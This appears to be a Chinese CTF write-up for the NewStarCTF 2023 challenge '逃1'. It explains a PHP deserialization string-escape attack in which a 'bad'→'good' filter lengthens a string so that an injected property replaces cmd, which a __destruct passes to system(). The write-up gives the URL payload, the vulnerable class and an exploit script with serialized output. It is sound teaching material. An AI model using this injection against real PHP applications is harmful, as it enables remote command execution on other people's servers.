[NewStarCTF 2023 公开赛道]逃1

代码审计.

这段代码分为三部分:1.war函数,2.GetFlag类,3.GetFlag类对象的定义,waf过滤以及反序列化 .

很经典的的一道题,键值对逃逸,改变cmd的value,去获取flag.

而war就是我们的突破点(str_replace("bad","good",$str);).

开始构造payload

复制代码
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}

为什么这么构造呢?

让我们先来看一下未经过waf过滤后的value.

php 复制代码
<?php
 
class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}
 
$g = new GetFlag('badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}');
echo serialize($g);
 
?>

value:

O:7:"GetFlag":2:{s:3:"key";O:7:"GetFlag":2:{s:3:"key";s:108:"badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}";s:3:"cmd";s:6:"whoami";}

我们只需要把上面的红色部分过滤掉就可以了,而过滤则通过waf来逃逸掉,waf可以把bad变成good,每一个bad就可以过滤一个char,绿色部分就是我们要过滤的数量为27,所以需要27个bad.

看一下过滤后的value.

exp:

php 复制代码
<?php
 
function waf($str){
    return str_replace("bad","good",$str);
}

class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}
 
$g = new GetFlag('badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}');
echo serialize(waf(serialize(new GetFlag($g))));
 
?>

value:

s:246:"O:7:"GetFlag":2:{s:3:"key";O:7:"GetFlag":2:{s:3:"key";s:108:"goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood";s:3:"cmd";s:7:"cat /f*";}";s:3:"cmd";s:6:"whoami";}s:3:"cmd";s:6:"whoami";}";

此时反序列化时,红色部分就会被过滤掉.

获得flag,游戏结束~

相关推荐
聚铭网络6 小时前
案例精选 | 南京交通职业技术学院安全运营服务建设标杆
网络安全
小楓120110 小时前
Web漏洞挖掘篇(二)—信息收集
web安全·网络安全·漏洞挖掘
vortex512 小时前
AD渗透中服务账号相关攻击手法总结(Kerberoasting、委派)
windows·网络安全·渗透测试·ad
久绊A18 小时前
如何在Kali Linux官网下载历史版本
安全·web安全
李白你好20 小时前
功能强大的多线程端口扫描工具,支持批量 IP 扫描、多种端口格式输入、扫描结果美化导出,适用于网络安全检测与端口监控场景
web安全
Bruce_Liuxiaowei1 天前
Linux系统提权之计划任务(Cron Jobs)提权
linux·运维·服务器·网络安全·系统安全
筑梦之月1 天前
3分钟解决ZAP打开浏览器闪退问题
web安全
m0_738120721 天前
CTFshow系列——PHP特性Web93-96
开发语言·安全·web安全·php·ctfshow
Suckerbin2 天前
DarkHole: 2靶场渗透
笔记·安全·web安全·网络安全
lingggggaaaa2 天前
小迪安全v2023学习笔记(七十八讲)—— 数据库安全&Redis&CouchDB&H2database&未授权&CVE
redis·笔记·学习·算法·安全·网络安全·couchdb